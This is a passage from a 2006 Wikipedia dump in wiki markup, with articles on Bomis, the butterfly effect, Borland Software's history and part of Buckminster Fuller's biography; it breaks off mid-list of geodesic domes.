'''Bomis''' is a [[dot-com]] company founded in [[1996]]. Its primary business is the sale of [[advertising]] on the Bomis.com search portal. It was founded by [[Jimmy Wales]] and [[Tim Shell]], and provided support for the free encyclopedia projects [[Nupedia]] and [[Wikipedia]].  As of 2006, Shell is the CEO of Bomis.  

On the Bomis.com site, Bomis creates and hosts [[web ring]]s around popular search terms.  
The rings are currently categorized broadly as &quot;Babes&quot;, &quot;Entertainment&quot;, &quot;Sports&quot;, &quot;Adult&quot;, &quot;Other&quot; and &quot;Science fiction&quot;.&lt;ref&gt;{{cite web
 | title=Bomis What's New
 | url=http://www.bomis.com/whatsnew/
 | accessdate=December 24
 | accessyear=2005
 }}
&lt;/ref&gt; The &quot;Adult&quot;, &quot;Babes&quot; and &quot;Entertainment&quot; categories are the most frequently updated and the most popular. In addition, Bomis hosts a copy of the [[Open Directory Project]] search directory. Revenue from search-related pages is generated from advertising and [[affiliate marketing]].

Bomis ran a website called ''Bomis Premium'' at premium.bomis.com, until 2005; offering access to [[erotica|erotic]] [[photograph]]s featuring 403 different models (a total of 54658 pictures), and videos of models in suggestive poses.&lt;ref&gt;{{cite web
 | title=Bomis Premium Site
 | url=http://premium.bomis.com/indexpotd.html
 | accessdate=December 24
 | accessyear=2005
 }}
&lt;/ref&gt;

Until mid-2005, Bomis featured the ''Bomis Babe Report'', a free [[blog]], publishing news and reviews about [[celebrity|celebrities]], [[model (person)|model]]s, and the [[adult entertainment]] industry. The ''Babe Report'' prominently linked to ''Bomis Premium'', and frequently posted updates about new models joining Bomis.

==Role in the creation of [[Nupedia]] and [[Wikipedia]]==
[[Image:Bomis Wiki.png|thumb|300px|Wikipedia hosted on Bomis.com]]
As of 2005, Bomis is best known for having supported the creation of the free-content online [[encyclopedia]] projects Nupedia and Wikipedia.  Wales started Nupedia in 2000, and [[Larry Sanger]] was hired to manage and edit that project.  A year into the development of Nupedia, a wiki was set up as a way to solicit new drafts for Nupedia; named Wikipedia.  While originally intended as a 'feeder' project for Nupedia, Wikipedia &amp;mdash; with its much lower barriers to contribution &amp;mdash; rapidly outgrew its parent in size and attention.

For a while, Bomis provided [[web server]]s and [[bandwidth]] for these projects, paid Sanger in his role as project editor-in-chief (until he left the projects in 2002), and owned key items such as the associated [[domain name]]s.  However, as the costs and popularity of Wikipedia rose, a general reluctance to display advertising on the site - together with a desire to reflect the spirit of openness and neutrality central to Wikipedia - suggested an alternative ownership model.  ''See full article: [[History of Wikipedia]]''

The [[Wikimedia Foundation]] was formally announced on [[June 20]], [[2003]], and all related assets (both in terms of [[intellectual property]] and [[computer hardware]]) were transferred or donated to this [[non-profit organisation]]. (See: [http://www.wikimediafoundation.org/bylaws.pdf bylaws of the  Wikimedia Foundation (PDF file)]). Larry Sanger had by this time left the project, but Jimmy Wales retains a key role on the board of the Foundation, along with users elected from the Wikipedia community. The Foundation now funds the operation of Wikipedia (and its sister projects) primarily through donations from readers.

==References== 
&lt;references /&gt;

==External links and sources==
{{Commons|Bomis}}
* [http://www.bomis.com/ Official Bomis website]
* [http://www.bomis.com/about/slogans.html List of Bomis slogans] – a random slogan from the list is displayed on each www.bomis.com page
* [http://mail.wikipedia.org/pipermail/wikipedia-l/2001-October/000652.html Jimmy Wales on the Wikipedia-L mailing list about Bomis]


[[Category:Dot-com]]
[[Category:Internet companies of the United States]]
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    <title>B.C.E.</title>
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    <id>4022</id>
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  <page>
    <title>Butterfly effect</title>
    <id>4024</id>
    <revision>
      <id>42152150</id>
      <timestamp>2006-03-04T04:03:59Z</timestamp>
      <contributor>
        <username>Lulu of the Lotus-Eaters</username>
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      <comment>spacing</comment>
      <text xml:space="preserve">[[Image:Sensitive-dependency.png|thumb|right|300px|Point [[attractor]]s in 2D [[phase space]].]]
{{otheruses}}
The '''butterfly effect''' is a phrase that encapsulates the more technical notion of ''sensitive dependence on initial conditions'' in [[chaos theory]].  Small variations of the [[initial condition]] of a [[dynamical system]] may produce large variations in the long term behavior of the system. This is sometimes presented as esoteric behavior, but can be exhibited by very simple systems: for example, a ball placed at the crest of a hill might roll into any of several valleys depending on slight differences in initial position.

[[Ergodic theory|Recurrence]], the approximate return of a system towards its initial conditions, together with the sensitive dependence on initial conditions, are the two main ingredients for chaotic motion.  They have the practical consequence of making [[complex systems]], such as the [[weather]], difficult to predict past a certain time range&amp;mdash;approximately a week, in the case of weather. 

==History==

Sensitive dependence on initial conditions was first described in the literature by [[Jacques Hadamard|Hadamard]] and popularized by [[Pierre Duhem|Duhem's]] 1906 book.  The term butterfly effect is related to the work of [[Edward Lorenz|Lorenz]], who in a [[1963]] paper for the [[New York Academy of Sciences]] noted that &amp;ldquo;One meteorologist remarked that if the theory were correct, one flap of a seagull's  wings could change the course of weather forever.&amp;rdquo;  Later speeches and papers by Lorenz used the more poetic [[butterfly]].  According to Lorenz, upon failing to provide a title for a talk he was to present at the 139th meeting of the [[AAAS]] in [[1972]], Philip Merilees concocted   “''Does the flap of a butterfly’s wings in Brazil set off a tornado in Texas?''&amp;nbsp;” as a title.

==Mathematical definition==
A [[dynamical system]] with evolution map &lt;math&gt;f^t&lt;/math&gt; displays sensitive dependence on initial conditions if points arbitrarily close become separate with increasing ''t''.  If ''M'' is the state space for the map &lt;math&gt;f^t&lt;/math&gt;, then &lt;math&gt;f^t&lt;/math&gt; displays sensitive dependence to initial conditions if there is a &amp;delta;&gt;0 such that for every point ''x''&amp;isin;M and any neighborhood ''N'' containing ''x'' there exist a point ''y'' from that neighborhood ''N'' and a time &amp;tau; such that the distance
:&lt;math&gt;d(f^\tau(x), f^\tau(y)) &gt; \delta \,.&lt;/math&gt;
The definition does not require that all points from a neighborhood separate from the base point ''x''.

== Popular media ==
The concept of the Butterfly effect is sometimes used in popular media dealing with the idea of [[time travel]], though not always accurately.  For example, in the 1952 short story by [[Ray Bradbury]], &quot;[[A Sound of Thunder]]&quot;, the characters are determined not to change anything in the past&amp;mdash;but in reality their mere presence could be enough to change short-term events (such as the weather), and could also have an unpredictable impact on the distant future.

In many cases, minor and seemingly inconsequential actions in the past are extrapolated over time and can have radical effects on the present time of the main characters.  In the movie ''[[The Butterfly Effect]]'', Evan Treborn ([[Ashton Kutcher]]), when reading from his adolescent journals, is able to essentially &quot;redo&quot; parts of his past. As he continues to do this, he realizes that even though his intentions are good, the actions he takes always have unintended consequences.

==See also==
* [[Chaos theory]]
* [[Dynamical systems]]

==External links==
* [http://www.fortunecity.com/emachines/e11/86/beffect.html Butterfly Effect] (Mathematical Recreations)
* [http://www.news.cornell.edu/releases/Feb04/AAAS.Kleinberg.ws.html From butterfly wings to single e-mail] ([[Cornell University]])
* [http://hypertextbook.com/chaos/ The Chaos Hypertextbook]. An introductory primer on chaos and fractals.
* [http://www.butterflyeffectmovie.com/ The Butterfly Effect]. New Line Cinema's feature film ''The Butterfly Effect'' [http://www.imdb.com/title/tt0289879/ IMDB]
*[http://mathworld.wolfram.com/ButterflyEffect.html Wolfram Entry]. An entry on the MathWorld Website about the &quot;Butterfly Effect&quot; with links to related mathematical topics.
* [http://www.monochrom.at/butterfly/ Direct Intervention Engine]. An humorous art project by [[monochrom]] dealing with the Butterfly Effect.

==References==
*{{cite book
|author = Robert L. Devaney
|title = Introduction to Chaotic Dynamical Systems
|publisher = Westview Press
|year = 2003
|id = ISBN 0813340853
}}
* {{cite journal 
|journal = American Journal of Physics
|year = 2004
|title = Sea gulls, butterflies, and grasshoppers: A brief history of the butterfly effect in nonlinear dynamics
|pages = 425&amp;ndash;427
|author = Robert C. Hilborn
|volume = 72
}}


[[Category:Chaos theory]]
[[Category:Physical phenomena]]

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    <title>Buckminister Fuller</title>
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  <page>
    <title>Borland</title>
    <id>4027</id>
    <revision>
      <id>41769399</id>
      <timestamp>2006-03-01T16:48:09Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
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      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = Borland Software Corporation |
  company_logo   = [[Image:Borland logo.png|150px]] |
  company_type   = Public (NASDAQ: [http://quotes.nasdaq.com/asp/SummaryQuote.asp?symbol=BORL&amp;selected=BORL BORL]) |
  company_slogan = Excellence Endures |
  foundation     = [[California]] (1983) |
  location       = [[Scotts Valley, California|Scotts Valley]], [[Santa Cruz County, California|Santa Cruz County]], [[California]] |
  key_people     = [[Philippe Kahn]], Founder&lt;br /&gt;[[Tod Nielsen]], CEO |
  num_employees  = 1300 est. (2005) |
  industry       = [[Computer software]]  |
  products       = [[C++Builder]], [[CaliberRM]], [[Delphi programming language|Delphi]], [[JBuilder]], [[Kylix programming tool|Kylix]], [[Optimizeit]], [[StarTeam]], [[Borland Together|Together]], [[VisiBroker]] |
  revenue        = [[image:green up.png]]$309.5 million [[United States dollar|USD]] (2004) |
  homepage       = [http://www.borland.com/ www.borland.com]
}}

'''Borland Software Corporation''' (formerly '''Borland International, Inc.''') is a [[Computer software|software]] company {{nasdaq|BORL}}, located in [[Scotts Valley, California|Scotts Valley]], [[California]], best known for its [[Turbo Pascal]] programming tool that has evolved into today's [[Delphi programming language]].

==The 1980s: Foundations==
The beginning of the Borland name started with a small company in [[Ireland]]. Three [[Danish people|Danish]] citizens, [[Niels Jensen]], [[Ole Henriksen]], and [[Mogens Glad]] founded Borland Ltd. in August 1981.

Borland International changed from a private to public company when it was incorporated in [[California]] on [[May 2]], [[1983]]. The company's original personnel in the US included [[Philippe Kahn]] (President) and [[Spencer Ozawa]] (Vice President Operations), with Niels Jensen, Ole Henriksen, and Mogens Glad based in [[Copenhagen]].

Philippe Kahn led the company as it developed a series of well-regarded software development tools. Their first product was [[Turbo Pascal]], initially developed by [[Anders Hejlsberg]]. 1984 saw the launch of [[SideKick]], a time organization, notebook and calculator utility, notable for being a [[Terminate and Stay Resident]] (TSR) program. In September 1987 Borland purchased [[Ansa-Software]] including their [[Borland Paradox|Paradox]] (version 2.0) [[database]] management tool. The [[Quattro Pro]] spreadsheet was launched in 1989 with, at the time, a notable charting capability.

[[Microsoft]] was the leading provider of [[programming language]]s before Turbo Pascal was released. When Borland released Turbo Pascal, Microsoft switched over to developing [[operating system]]s and [[application software]], because Turbo Pascal's [[Integrated Development Environment|IDE]] was much better than Microsoft's pure [[compilers]] and [[Interpreter (computing)|interpreters]].

Additionally, Borland was known for its practical approach towards [[software piracy]], introducing its &quot;Borland no-nonsense license agreement.&quot; This allowed the developer/user to utilize its products &quot;just like a book&quot;; he or she was allowed to make multiple copies of a program, as long as only one copy was in use at any point in time.

==The 1990s: Rise and fall==
In September 1991 Borland purchased [[Ashton-Tate]], bringing the [[DBASE|dBase]] and Interbase databases to the house, however the high price they paid was to be one of the causes of subsequent financial difficulties, which were worsened when [[Microsoft]] launched the competing database [[Microsoft Access]] and bought the dBase clone [[FoxPro]] in 1992, undercutting Borland's prices. 

During the early [[1990s]] Borland's implementation of [[C++]] was considered superior to then-market-trailing Microsoft. Also, its development of [[Borland Paradox|Paradox]], with its [[ObjectPAL]] programming language, pitted it against software by Microsoft, in particular Access.

By the mid-1990s, Borland fell from dominance in the software tools market. Some people thought that competition from Microsoft was to blame. 

Others felt that [[Philippe Kahn]] spread his company's resources too thinly over too many projects, in an attempt to battle Microsoft on many fronts. During Kahn's tenure, Borland introduced a number of then-obscure computer concepts that seemed to be promoted before the market was ready for them. The continued focus on pushing these technologies drained Borland's resources just when other companies were ready to capitalize on the growing acceptance of these new ideas. 

Still others believed that a change in market conditions contributed to Borland's fall from prominence. Philippe Kahn had focused on marketing to computer programmers. In the 1980's, companies had few people who understood the growing personal computer phenomenon, and so most technical people were given free reign to purchase whatever software they thought they needed. Borland had done an excellent job marketing to those with a highly technical bent. By the mid-1990's, however, companies were beginning to ask what the return was on the investment they had made in this loosely controlled PC software buying spree. Company executives were starting to ask questions that were hard for technical folks to answer, and so corporate standards began to be created. This required new kinds of marketing and support materials from software vendors, but Borland under Kahn was slow to realize that the market had changed. Rival software companies such as Microsoft did a much better job of recognizing the changing market and supplying the information that corporations were seeking.

In the middle of 1993 Borland removed Object Vision from the market due to poor sales.

Kahn's personality was also a bit too colorful for many corporate executives to take. The Board of Directors fired Kahn in 1995. &lt;ref name=&quot;KahnFired&quot;&gt;{{cite web | author=Tomas Kellner | title=Survivor | work=[[Fortune (magazine)|Fortune]] | url=http://www.forbes.com/forbes/2001/0709/128.html | accessdate=30 August | accessyear=2005 }}&lt;/ref&gt;

The [[Delphi programming language|Delphi 1]] rapid application development ([[RAD]]) environment was launched in 1995, under the leadership of [[Anders Hejlsberg]].

==The Inprise years==
In November 1997, Borland acquired [[Visigenic]], a middleware company that was focused on implementations of [[CORBA]].

On [[April 29]], [[1998]], Borland refocused its efforts on targeting enterprise applications development, and went through a name change to [[Inprise]] Corporation (the name came from the slogan ''Integrating the Enterprise''). The idea was to integrate Borland's tools, Delphi, [[C++Builder]], and [[JBuilder]] with enterprise environment software, including Visigenic's implementations of CORBA, [[Visibroker]] for C++ and Java, and the new emerging product, [[Application Server]].

For a number of years (both before and during the Inprise name) Borland suffered from serious financial losses and very poor public image. When the name was changed to Inprise, many thought Borland had gone out of business.

In October 1996, Paradox and Quattro Pro were sold to [[Corel]]. Corel also purchased [[WordPerfect]] to complete the acquisition of the software bundle previously known as Borland Office for Windows. The bundle of WordPerfect, Paradox and Quattro Pro is now sold as Corel Office.

dBase was sold in 1999, as Inprise decided to concentrate on software development tools.

In 1999, in the middle of Borland's identity crisis, [[Dale L. Fuller]] replaced CEO [[Del Yocam]]. At this time Fuller's title was &quot;interim president and CEO.&quot; The &quot;interim&quot; was dropped a few years later.

A proposed merger between Inprise and Corel was announced in February 2000, aimed at producing [[Linux]] based products, however the scheme was abandoned when Corel's shares fell.

[[InterBase|InterBase 6.0]] was made available as an [[open source]] product in July 2000.

==Borland reborn in name and fame==
The Borland name (Borland Software Corporation) replaced Inprise in [[January 2001]].

Under the Borland name and a new management team headed by President and CEO [[Dale L. Fuller]], a now-smaller and profitable Borland continues work on Delphi, and created a version of Delphi and C++Builder for Linux, both under the name [[Kylix programming tool|Kylix]]. This brought Borland's expertise in [[Integrated Development Environment]]s to the Linux platform for the first time. Kylix was launched in 2001. 

Plans to spin off the [[InterBase]] division as a separate company were abandoned after Borland and the people who were to run the new company could not agree on terms for the separation. With the reenergized division under new management, Borland stopped open source releases of InterBase and has developed and sold new versions at a fast pace.

Borland made a commitment to the technology of [[web services]] releasing Delphi 6 as the first Integrated Development Environment to support web services.  Now all of their current development platforms support web services.

[[CSharpBuilder|C#Builder]] was released in 2003 as a native [[C Sharp programming language|C#]] development tool, competing head-on with [[Visual Studio .NET]]. As of the 2005 release, C#Builder, Delphi for Win32, and Delphi for .NET have been combined into a single IDE called &quot;Borland Developer Studio&quot; (though the combined IDE is still popularly known as &quot;Delphi&quot;). Supporting web services and now .NET is doing a lot to bolster Borland's image in the industry. With their consistent profitability, in late 2002 Borland purchased design tool vendor TogetherSoft and tool publisher [[Starbase Corporation|Starbase]], makers of the [[StarTeam]] configuration management tool and the [[CaliberRM]] requirements management tool. The latest releases of [[JBuilder]] and [[Delphi programming language|Delphi]] integrate these tools to give developers a broader set of tools for development.

The rounded-out set of product offerings legitimized Borland's new claim to the Application Lifecycle Management (ALM) market, with tools spanning the software development chain from requirements, through design and development, to testing and deployment.  In 2004 Borland rolled out its Software Delivery Optimization (SDO) marketing tagline, pitching the idea that SDO encompassed ALM in addition to higher-level software manufacturing concepts like portfolio management and estimation tools.

Former CEO Dale Fuller resigned in July 2005 but remained on the board of directors. Former COO Scott Arnold took the title of interim president and chief executive officer until [[November 8]], [[2005]], when it was announced that [[Tod Nielsen]] would take over as CEO effective [[November 9]], [[2005]]. &lt;ref&gt;http://biz.yahoo.com/ap/051108/borland_software_ceo.html&lt;/ref&gt;

In October 2005, Borland acquired Legadero, in order to add its IT Management and Governance (ITM&amp;G) suite, called Tempo, to the Borland product line.

On [[February 8]] [[2006]] Borland announced the divestiture of their IDE division, including [[Delphi]], [[JBuilder]], and [[InterBase]].  At the same time they announced the planned acquisition of [[Segue (company)|Segue Software]], a maker of software test and quality tools, in order to concentrate on Application Lifecycle Management (ALM).

==Current products==
Borland's current product line includes:
* [[C++Builder]]
* [[CaliberRM]]
* [[Delphi programming language|Delphi]]
* [[JBuilder]]
* [[Optimizeit Suite]]
* [[InterBase]]
* [[JDataStore]]
* [[Borland Enterprise Studio]], for C++, Mobile and Java
* [[Borland Enterprise Server]]
* [[StarTeam]]
* [[Borland Together|Together]]
* [[Kylix programming tool|Kylix]]

==Old software, no longer actively sold==
Programming tools:
*[[CodeWright]]
*[[CSharpBuilder|C#Builder]] (Now part of [[Delphi programming language|Delphi]])
*[[Turbo Pascal]]
*[[Turbo Assembler]]
*[[Turbo Debugger]]
*[[Turbo Profiler]]
*[[Turbo C]]
*[[Turbo BASIC]]
*[[Turbo Prolog]]
*[[Turbo C++]]
*[[Borland C++]]
*[[Object Vision]]
*[[Turbo Modula-2]]

Utilities:
*[[SideKick]]

Applications:
*[[Borland Reflex|Reflex]]
*[[Sprint (word processor)|Sprint]]
*[[Quattro Pro]]
*[[Borland Paradox|Paradox]]
*[[DBASE|dBase]]

==References==
&lt;references /&gt;

==External links==
* [http://www.borland.com/ Borland Software Corporation].
* [http://bdn.borland.com/ Borland Developer Network].
* [http://cc.borland.com/ Borland Code Central].
* {{cite web
 | url = http://community.borland.com/article/0,1410,20283,00.html
 | work = Borland History
 | title = Will The Real Frank Borland Please Stand Up?
 | author = David Intersimone
 }}

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[[Category:Computer companies of the United States]]
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  <page>
    <title>Buckminster Fuller</title>
    <id>4031</id>
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      <comment>/* Secondary literature */</comment>
      <text xml:space="preserve">[[Image:Bfullerstamp.jpg|right|frame|In the [[United States|U.S.]] [[postage stamp]] commemorating '''Buckminster Fuller''' and his contributions to [[architecture]] and [[science]], some of his inventions are visible.  Most notably, his head is shaped after one of his [[geodesic dome]]s.  Other elements, such as futuristic [[automobile|car]]s, other craft and [[radar]] dishes are also present.]]

'''Richard Buckminster &quot;Bucky&quot; Fuller''' ([[July 12]], [[1895]] – [[July 1]], [[1983]]) was an [[United States|American]] [[visionary]], [[designer]], [[architect]], and [[inventor]].

Throughout his life, Fuller was concerned with the question of whether humanity has a chance to survive lastingly and successfully on planet Earth, and if so, how.  Considering himself an average individual without special monetary means or academic degree, he chose to devote his life to this question, trying to find out what an individual like him could do to improve humanity's condition that large organizations, governments, or private enterprises inherently could not do.

Pursuing this lifelong experiment, Fuller wrote twenty-eight books, coining terms such as [[Spaceship Earth|&quot;spaceship earth&quot;]], [[ephemeralization]], and [[synergetics]].  He also made a large number of inventions, mostly in the fields of design and architecture, the best-known of which is the [[geodesic dome]].

Late in his life, after working on his concepts for several decades, Fuller had achieved considerable public visibility.  He traveled the world giving lectures, and received numerous honorary doctorates.  Most of his inventions, however, never made it into production, and he was strongly criticized in most of the fields that he tried to influence (such as architecture), or simply dismissed as a hopeless [[Utopianism|utopian]].  Fuller's proponents, on the other hand, claim that his work has not yet received the attention that it deserves.

== Biography ==
Fuller was born on [[July 12]] [[1895]] in [[Milton, Massachusetts|Milton]], [[Massachusetts]], the son of Richard Buckminster Fuller and Caroline Wolcott Andrews. The Fuller family in particular produced noted New England non-conformists.  Buckminster Fuller's father died when the boy was 12.  Spending his youth on a farm on an island off the coast of Maine, he was a boy with a natural propensity for design and for making things.  He often made things from materials he brought home from the woods, and he even sometimes made his own tools.  Notably, he experimented with designing a new apparatus for the human-powered propulsion of small boats.  Years later he decided that this sort of experience had provided him not only an interest in design, but a habit of being fully familiar and knowledgeable about the materials that his ambitious later projects would require for actualization.  Indeed, Fuller earned a machinist's certification, and he also knew how to fabricate using the press brake, stretch press, and other tools and equipment relied upon in the sheet-metal trade.

Fuller was sent to [[Milton Academy]], in Massachusetts.  Afterwards, he began studying at [[Harvard University|Harvard]] but was expelled from the university twice: firstly, for entertaining an entire dance troupe; and secondly, for his &quot;irresponsibility and lack of interest.&quot;  By his own appraisal, he was a non-conforming misfit in the fraternity environment.  Later in life, Fuller received a Sc.D. from [[Bates College]] in 1969.

Between his sessions at [[Harvard]], he worked for a time in Canada as a mechanic in a textile mill, and later as a laborer working 12 hours a day in the meat-packing industry.  He married in 1917, and he also served in the [[United States Navy|U.S. Navy]] in [[World War I]]. In the Navy he was employed as an aboard-ship radio operator, as an editor of a publication, and as a crash-boat commander.  After discharge, he again worked for a period in the meat-packing business, where he acquired management experience.  In the early 1920s he and his father-in-law developed the Stockade Building System for producing light-weight, weatherproof, and fireproof housing — though ultimately the company failed.

In 1927 at the age of 32, [[bankruptcy|bankrupt]] and jobless, living in inferior housing in [[Chicago, Illinois]], he saw his beloved young daughter Alexandra die of pneumonia in winter.  He felt responsible, and this drove him to drink and the verge of [[suicide]]. At the last moment he decided instead to embark on &quot;an experiment, to find what a single individual can contribute to changing the world and benefiting all humanity.&quot;

Fuller accepted a position at a small college in [[North Carolina]], [[Black Mountain College]]. There, with the support of a group of professors and students, he began work on the project that would make him famous and revolutionize the field of engineering, the [[geodesic dome]]. Using lightweight plastics in the simple form of a tetrahedron (a triangular pyramid) he created a small dome. He had designed the first building that could sustain its own weight with no practical limits. The U.S. government recognized the importance of the discovery and employed him to make small domes for the army. Within a few years there were thousands of these domes around the world.

For the next half-century Buckminster Fuller contributed a wide range of ideas, designs and inventions to the world, particularly in the areas of practical, inexpensive shelter and transportation. He documented his life, philosophy and ideas scrupulously in a daily [[diary]] and in 28 publications. Fuller financed some of his experiments with inherited family money, sometimes augmented by funds invested by his professional collaborators, one example being the Dymaxion Car project.

His international recognition was established by the success of his huge [[geodesic dome]]s in the 1950s. Fuller taught at [[Southern Illinois University Carbondale]] from 1959–1970 (Assistant Professor 1959–68, full Professor in 1968) in the School of Art and Design.  Working as a designer, scientist, developer, and writer, for many years he also lectured all over the world on design. In 1965 Fuller inaugurated the [[World Design Science Decade]] (1965 to 1975) at the meeting of the [[International Union of Architects]] in [[Paris]]. This was (in his own words) devoted to ''applying the principles of science to solving the problems of humanity.''

Fuller believed human societies would soon be relying mainly on renewable sources of energy, such as solar- and wind-derived electricity.  He hoped for an age of &quot;omni-successful education and sustenance of all humanity.&quot;  He regarded information as &quot;negative entropic&quot;.

Fuller was ultimately to be awarded 25 US patents and many honorary doctorates. On [[January 16]], [[1970]] Fuller received the Gold Medal award from the [[American Institute of Architects]] and also received numerous other awards.  

He died at the age of 88, a [[guru]] of the design, architecture, and 'alternative' communities. His wife was comatose and dying of cancer. He visited her in hospital. At some point he exclaimed: &quot;She is squeezing my hand!&quot;. When he stood up, he suffered a massive heart attack and died an hour later. His wife died 36 hours later.  He is buried in [[Mount Auburn Cemetery]] near Boston, Massachusetts.

==Philosophy and worldview==
Buckminster Fuller strove to inspire humanity to take a comprehensive view of the finite world we live in and the infinite possibilities for an ever-increasing standard of living within it.  Deploring [[Toyota Production System|waste]], he explored and advocated a principle that he termed &quot;[[ephemeralization]]&quot; — which in essence (according to [[Stewart Brand]]) Fuller coined to mean &quot;doing more with less.&quot;  Wealth can be increased by recycling resources into newer, higher value products whose more technically sophisticated design requires less material.  In practice, it has often meant miniaturization, for example, as when table-model calculating machines were succeeded over time by smaller ones, until the calculator of today fits in one's hand.  Fuller also introduced [[synergetics]], which explores holistic engineering structures in nature (long before the term [[synergy]] became popular).

Fuller was one of the first to propagate a [[systems theory|systemic]] [[worldview]] (see '[[Operating manual for Spaceship Earth]]', '[[Synergetics]]') and explored principles of [[energy efficiency|energy]] and [[material efficiency]] in the fields of [[architecture]], [[engineering]] and [[design]].  Viewing [[petroleum]] from the standpoint of its replacement cost out of our current energy &quot;budget&quot; (essentially the incoming [[solar power|solar flux]]), he declared that it had cost nature &quot;over a million dollars&quot; per U.S. gallon ($300,000/L) to produce.  From this point of view its use as a transportation fuel by people commuting to work represents a huge net loss compared to their earnings.

Having dedicated himself to advancing the success and fulfillment of humanity, he was deeply concerned about [[sustainability]] and about human survival under the existing socio-economic system, yet was profoundly optimistic about humanity's prospects.  Defining wealth in terms of knowledge, as the &quot;technological ability to protect, nurture, support, and accommodate all growth needs of life&quot;, his analysis of the condition of &quot;Spaceship Earth&quot; led him to conclude that at a certain point in the 1970's humanity had crossed an unprecedented watershed.  

What might otherwise sound like an article of faith in some spiritual or philosophical system had for Fuller become an objective fact — that the accumulation of relevant knowledge, combined with the quantities of key recyclable resources that had already been extracted from the earth, had reached a critical level, such that competition for necessities was no longer necessary.  Cooperation had became the optimum survival strategy.  &quot;Selfishness&quot;, he declared, &quot;is unnecessary and...unrationalizable...War is obsolete...&quot;

By considering historical comparisons like the fact that even relatively poor people today are able to travel at speeds and with a degree of comfort which were unobtainable at any price in earlier times, and that illnesses that were fatal even to kings in the past can now be cured with affordable drugs, he concluded that everyone alive today can potentially live like a &quot;billionaire.&quot;  Hence he described the human race as &quot;four billion billionaires.&quot;

In the original score for the hit musical [[Godspell]] by [[Stephen Schwartz (composer)|Stephen Schwartz]], Fuller is one of the seven philosophers in the show's Prologue and Tower of Babel songs, with the words, &quot;Man is a complex of patterns, of processes.&quot;

Besides important comprehensiveness of thought and his philosophical concepts, Fuller's most lasting insights may be geometric.  He claimed that the natural [[analytic geometry]] of the universe was based on arrays of [[tetrahedron|tetrahedra]].  He developed this in several ways, from the close-packing of spheres and the number of compressive or tensile members required to stabilize an object in space.  Some deep confirming results were that the strongest possible homogeneous [[truss]] is cyclically tetrahedral.

==Major design projects==
Fuller was most famous for his [[geodesic dome]]s, which can be seen as part of military [[radar]] stations, civic buildings, and exhibition attractions.  Their construction is based on extending some basic principles to build simple [[tensegrity]] structures ([[tetrahedron]], [[octahedron]], and the closest packing of [[sphere]]s).  Built in this way they are extremely lightweight and stable. The patent for geodesic domes was awarded in 1954, part of Fuller's decades-long efforts to explore nature's constructing principles to find design solutions.

Previously, Fuller had designed and built prototypes of what he hoped would be a safer, [[Aerodynamics|aerodynamic]] [[Dymaxion car]] (&quot;[[Dymaxion]]&quot; is contracted from DYnamic MAXimum tensION).  To this end he experimented with a radical new approach.  He worked with professional colleagues over a period of three years, beginning in 1932.  Based on a design idea Fuller had derived from designs of [[aircraft]], the three prototype cars were all quite different from anything on the market.  For one thing, each of these vehicles had three, not four, wheels — with two (the drive wheels) in front, and the third, rear wheel being the one that was steered.  The engine was located in the rear.  Both the chassis and the body were original designs.  The aerodynamic, somewhat [[tears|tear]]-shaped body (which in one of the prototypes was about 18 feet long), was large enough to seat 11 people. It somehow resembled a melding of a light aircraft (without wings) and a [[Volkswagen]] van of 1950s vintage.  The car was essentially a mini-bus in each of its three trial incarnations, and its concept long predated the [[Volkswagen Type 2]] mini-bus conceived in 1947 by [[Ben Pon]].

Despite its length, and due to its three-wheel design, the Dymaxion Car turned on a small radius and parked in a tight space quite nicely.  The prototypes were efficient in fuel consumption for their day. Fuller poured a great deal of his own money (inherited from his mother) into the project, in addition to the funds put in by one of his professional collaborators.  An industrial investor was also keenly interested in the unprecedented concept.  Fuller anticipated the car could travel on an open highway safely at up to about 100 miles per hour (160 km/h); however, due to some concept oversights, the prototypes proved to be unruly over the speed of 50 mph (80 km/h), and difficult to steer properly.  Research came to an end after one of the prototypes was involved in a collision resulting in a fatality.

In 1943, industrialist [[Henry J. Kaiser]] asked Fuller to develop a prototype for a smaller car, and Fuller designed a five-seater; the car never went into the development or production stages.

Another of Fuller's ideas was the alternative-projection [[Dymaxion map]].  This was designed to show the Earth's continents with minimum distortion when projected or printed on a flat surface.

Fuller's energy-efficient and low-cost [[Dymaxion house]]s garnered much interest, but have never gone into production.  Here the term &quot;Dymaxion&quot; is used in effect to signify a &quot;radically strong and light [[tensegrity]] structure&quot;. One of Fuller's Dymaxion Houses is on display as a permanent exhibit at [[The Henry Ford]] in [[Dearborn, Michigan]].  Designed and developed in the mid 1940s, this prototype is a round structure (''not'' a dome) shaped something like the flattened &quot;bell&quot; of certain [[jellyfish]].  It has several other innovative features, including revolving dresser drawers, and a fine-mist shower that reduces water consumption.  According to Fuller biographer Steve Crooks, the house was designed to be delivered in two [[cylinder (geometry)|cylindrical]] packages, with interior color panels available at local dealers' premises.  A circular structure at the top of the house was designed to rotate around a central mast to take advantage of natural winds for cooling and air circulation.
[[Image:Mtl-biosphere.jpg|right|thumb|'''The American Pavilion of [[Expo 67]]''', by R. Buckminster Fuller, now the Biosphère, on [[Île Sainte-Hélène]], [[Montreal]]. Fuller developed the geodesic dome in the 1940s in line with his &quot;synergetic&quot; thinking.]]

Conceived nearly two decades before, and developed in [[Wichita, Kansas]], the house was designed to be lightweight and adapted to windy climes.  It was to be inexpensive to produce and purchase, and easily assembled.  It was to be produced using factories, trained workers, and technologies that had produced [[World War II]] aircraft.  &quot;Ultramodern&quot;-looking, it was structured of metal and sheathed in polished aluminum, and the basic model enclosed 1000 square feet (90 m&amp;sup2;) of floor area.  Due to high-level publicity, there were very many orders in the early Post-War years; however, the company that Fuller and others had formed to produce the houses failed due to internal management problems.

Buckminster Fuller made a radical commitment to understanding, discovery, and research.  He wanted to be a trailblazer, which is a risky role in any field.  His life and his work therefore constituted a kind of noble gamble.

==Practical achievements==
Certainly, a number of Fuller's projects did not meet success in terms of commitment from industry or acceptance by a broad public.  However, many geodesic domes have been built and are in use.  According to the [http://www.bfi.org/ Buckminster Fuller Institute] Web site, the largest geodesic-dome structures (listed in descending order from largest diameter) are:
/ 
*Fantasy Entertainment Complex: Kyosho Isle, Japan, 710 feet / 216 m
*Multi-Purpose Arena: Nagoya, Japan, 614 feet / 187 m
*Tacoma Dome: Tacoma, WA, USA, 530 feet / 162 m
*[[Superior Dome]]: Northern Michigan Univ. Marquette, MI, USA, 525 feet / 160 m
